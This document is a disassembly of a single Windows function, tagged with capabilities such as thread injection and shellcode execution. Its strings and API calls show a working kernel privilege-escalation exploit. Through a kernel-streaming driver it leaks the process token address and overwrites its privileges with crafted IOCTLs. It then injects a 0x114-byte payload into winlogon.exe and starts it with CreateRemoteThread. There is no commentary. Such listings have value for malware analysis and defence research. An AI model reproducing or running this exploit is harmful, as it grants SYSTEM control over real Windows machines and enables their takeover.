Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Get system information on windows
Inject thread
Make suspicious ntquerysysteminformation call
Spawn thread to rwx shellcode

Disassembly:
push rbp
lea rbp, [rsp - 0x1160]
mov eax, 0x1260
call fcn.140002800
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1140], rax
lea r8, [rbp - 0x70]
mov edx, 0xc0000000
lea rcx, [0x140004020]
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
je 0x14000112a
mov edx, eax
lea rcx, str.Error:__ld_n
call fcn.140001010
mov eax, 1
jmp 0x140001ad1
lea r8, [rbp - 0x68]
mov edx, 0xc0000000
lea rcx, [0x140004020]
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
jne 0x140001112
lea r8, [rsp + 0x58]
mov edx, 0xc0000000
lea rcx, [0x140004020]
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
test eax, eax
jne 0x140001112
mov rdx, qword [rbp - 0x70]
lea rcx, str.___Successfully_got_a_handle_1____p_n
mov qword [rsp + 0x1270], rbx
mov qword [rsp + 0x1278], rsi
mov qword [rsp + 0x1280], rdi
mov qword [rsp + 0x1288], r12
mov qword [rsp + 0x1258], r14
mov qword [rsp + 0x1250], r15
call fcn.140001010
mov rdx, qword [rbp - 0x68]
lea rcx, str.___Successfully_got_a_handle_2____p_n
call fcn.140001010
mov rdx, qword [rsp + 0x58]
lea rcx, str.___Successfully_got_a_handle_3____p_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r15d, r15d
lea r8, [rbp - 0x60]
mov rcx, rax
mov qword [rbp - 0x60], r15
mov r14d, r15d
mov dword [rsp + 0x50], r15d
mov edi, r15d
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000120a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Couldnt_open_a_handle_to_the_current_process_token.__Error_code:__d__n
call fcn.140001010
lea edi, [r15 + 0x40]
jmp 0x140001335
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001283
nop word [rax + rax]
mov eax, dword [rsp + 0x50]
lea ebx, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
test rdi, rdi
je 0x140001258
mov r9d, ebx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x140001261
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0x10
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001230
test eax, eax
jne 0x1400013b3
mov ebx, r15d
cmp dword [rdi], ebx
jbe 0x1400012f0
nop dword [rax]
nop word [rax + rax]
mov eax, ebx
lea rcx, [rax + rax*2]
lea rsi, [rdi + rcx*8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movzx ecx, word [rsi + 8]
cmp ecx, eax
jne 0x1400012c2
movzx eax, word [rbp - 0x60]
cmp word [rsi + 0xe], ax
je 0x1400012ec
inc ebx
cmp ebx, dword [rdi]
jb 0x1400012a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [r15 + 0x40]
jmp 0x140001335
mov r14, qword [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [r14 + 0x40]
test r14, r14
je 0x140001335
mov rdx, r14
lea rcx, str.___Target_process_TOKEN_address:__llx_n
call fcn.140001010
mov rdx, rdi
lea rcx, str.___Target_process__SEP_TOKEN_PRIVILEGES_address:__llx_n
call fcn.140001010
mov rbx, qword [rbp - 0x70]
mov qword [rsp + 0x78], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48], r15d
movabs r14, 0x136fe7474d
mov eax, eax
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x68], rax
xor edx, edx
mov dword [rsp + 0x38], 0x20
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x2f0400
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x70], r14
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jne 0x1400013f2
lea rcx, str.___InitializeContextRendezvous_successfully_n
call fcn.140001010
jmp 0x140001400
test rdi, rdi
je 0x1400012f0
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_failed.__NTSTATUS_code:_0x_X__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x40
jmp 0x140001335
mov edx, eax
lea rcx, str.____FSInitializeContextRendezvous_failed_with_0x_X_n
call fcn.140001010
mov rsi, qword [rbp - 0x68]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
movabs r12, 0x1400000000
cmp rax, 0xffffffffffffffff
jne 0x14000143a
lea rcx, str.____CreateEventW_failed_n
call fcn.140001010
jmp 0x1400014d6
mov qword [rsp + 0x60], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], r15
xor edx, edx
mov qword [rsp + 0x68], rax
mov rcx, rsi
mov dword [rsp + 0x38], 0x30
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x2f0404
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0x40000
mov qword [rbp - 0x78], rbx
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jne 0x1400014bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___FSInitializeStream_successfully_n
call fcn.140001010
jmp 0x1400014d6
mov edx, eax
lea rcx, str.____FSInitializeStream_failed_with_0x_X_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001507
lea rcx, str.____CreateEventW_failed_n
call fcn.140001010
jmp 0x1400015a3
mov qword [rsp + 0x60], 2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], r15
xor edx, edx
mov qword [rsp + 0x68], rax
mov rcx, rsi
mov dword [rsp + 0x38], 0x30
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x2f0420
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0x40000
mov qword [rbp - 0x78], rbx
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jne 0x14000158c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___FSRegisterStream_successfully_n
call fcn.140001010
jmp 0x1400015a3
mov edx, eax
lea rcx, str.____FSRegisterStream_failed_with_0x_X_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rcx, [rbp + 0x28]
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
xorps xmm1, xmm1
mov qword [rbp - 0x10], rax
xor edx, edx
mov qword [rbp], rax
mov r8d, 0x148
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x20], xmm1
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
xor eax, eax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
mov dword [rsp + 0x48], 0x18
movabs rax, 0x100000003
mov qword [rbp - 0x30], rax
xor r9d, r9d
movabs rax, 0x100000000140
mov qword [rbp - 0x50], 0x1c0
mov qword [rbp + 8], rax
xor r8d, r8d
mov qword [rbp + 0x18], rax
xor edx, edx
lea rax, [rsp + 0x60]
mov qword [rbp - 0x28], 1
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x38], 0x1c0
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 0x2f0408
mov qword [rsp + 0x20], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rbp - 8], rdi
mov qword [rbp + 0x10], rdi
mov dword [rbp + 0x24], 0x10000000
mov dword [rbp + 0x20], 4
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
mov r14, qword [rsp + 0x1258]
mov r12, qword [rsp + 0x1288]
mov rsi, qword [rsp + 0x1278]
test eax, eax
jne 0x1400016b9
mov eax, dword [rsp + 0x74]
lea rcx, str.___PublishTx_stats_txsize:_I64d_rxsize:_I64d_txcount:_d_rxcount:_d__n
mov r9d, dword [rsp + 0x70]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x20], eax
call fcn.140001010
lea rcx, str.___PublishTx_successfully_n
call fcn.140001010
jmp 0x1400016c7
mov edx, eax
lea rcx, str.____PublishTx_failed_with_0x_X_n
call fcn.140001010
mov rdi, qword [rsp + 0x58]
lea rcx, [rbp + 0x170]
xor edx, edx
mov r8d, 0xfd0
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001711
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualAlloc_failed_with_0x_X_n
jmp 0x14000186f
mov rdx, rbx
lea rcx, str.___VirtualAlloc_buffer____p_n
call fcn.140001010
movaps xmm1, xmmword [rbp + 0x180]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x48], 0xfd0
xor r9d, r9d
mov qword [rsp + 0x40], rbx
xor r8d, r8d
mov dword [rsp + 0x38], 0xfd0
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov qword [rbp + 0x170], 0x1000
movaps xmm0, xmmword [rbp + 0x170]
movups xmmword [rbx], xmm0
mov qword [rbp + 0x190], 6
movaps xmm0, xmmword [rbp + 0x190]
movups xmmword [rbx + 0x10], xmm1
mov dword [rsp + 0x28], 0x2f0410
movups xmmword [rbx + 0x20], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jne 0x140001868
movups xmm2, xmmword [rbx + 0x10]
lea rcx, str.___ConsumeTx_stats_txsize:_I64d_rxsize:_I64d_txcount:_d_rxcount:_d__n
movups xmm0, xmmword [rbx + 0x20]
movups xmm1, xmmword [rbx + 0x30]
movups xmm3, xmmword [rbx]
movaps xmmword [rbp + 0x190], xmm0
movq r8, xmm2
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rbp + 0x1a0], xmm1
movsd xmm1, qword [rbx + 0x60]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rbx + 0x50]
psrldq xmm3, 8
movaps xmmword [rbp + 0x1c0], xmm0
movq rdx, xmm3
movdqa xmm0, xmm2
movsd qword [rbp + 0x1d0], xmm1
psrldq xmm0, 8
movq rax, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 8
shr rax, 0x20
movd r9d, xmm0
mov dword [rsp + 0x20], eax
call fcn.140001010
movups xmm0, xmmword [rbp - 0x60]
lea rcx, str.___ConsumeTx_successfully_n
psrldq xmm0, 8
movq rbx, xmm0
call fcn.140001010
mov rdx, rbx
lea rcx, str.___Aligned_VA_Base_Address____p_n
and rdx, 0xfffffffffffff000
call fcn.140001010
mov rdx, rbx
lea rcx, str.___VA_Token_Address____p_n
call fcn.140001010
test rbx, rbx
je 0x140001892
movdqa xmm0, xmmword [0x140004030]
movups xmmword [rbx], xmm0
jmp 0x140001892
lea rcx, str.____ConsumeTx_failed_with_0x_X_n
mov edx, eax
call fcn.140001010
xor edx, edx
lea rcx, str.___Aligned_VA_Base_Address____p_n
call fcn.140001010
xor edx, edx
lea rcx, str.___VA_Token_Address____p_n
call fcn.140001010
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x50]
mov r8d, 2
lea rax, [0x140003830]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub r8, 1
jne 0x1400018c2
movups xmm0, xmmword [rax]
mov eax, dword [rax + 0x10]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001948
lea rcx, str._n____Failed_to_create_handle_CreateToolhelp32Snapshot___n_n
call fcn.140001070
mov ebx, 0xffffffff
jmp 0x1400019c0
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001980
lea rcx, str._n____Failed_to_call_Process32First___n_n
call fcn.140001070
mov ebx, 0xffffffff
jmp 0x1400019c0
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x19c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400019ba
lea rdx, [rbp + 0x170]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, r15d
jmp 0x1400019c0
mov ebx, dword [rbp + 0x178]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rdx, str.winlogon.exe
mov rdi, rax
test rax, rax
jne 0x1400019f0
lea rcx, str._n____Unable_to_open__ws_process_n_n
call fcn.140001010
jmp 0x140001ab7
mov r8d, ebx
lea rcx, str._n___Opened__ws_process_pid_d_with_PROCESS_ALL_ACCESS_rights
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x140001a32
lea rcx, str._n____Unable_to_allocate_memory_in_target_process_n_n
jmp 0x140001ab2
mov rdx, rbx
lea rcx, str._n___Memory_allocated_at_address_0x_p
call fcn.140001010
mov r9d, 0x114
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x50]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001a69
lea rcx, str._n____Unable_to_write_to_process_memory_n_n
jmp 0x140001ab2
lea rcx, str._n___Written_to_allocated_process_memory
call fcn.140001010
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001aab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str._n____Unable_to_create_remote_thread_n_n
jmp 0x140001ab2
lea rcx, str._n___Created_remote_thread_and_executed_n_n
call fcn.140001010
mov r15, qword [rsp + 0x1250]
xor eax, eax
mov rdi, qword [rsp + 0x1280]
mov rbx, qword [rsp + 0x1270]
mov rcx, qword [rbp + 0x1140]
xor rcx, rsp
call fcn.140001b00
add rsp, 0x1260
pop rbp
ret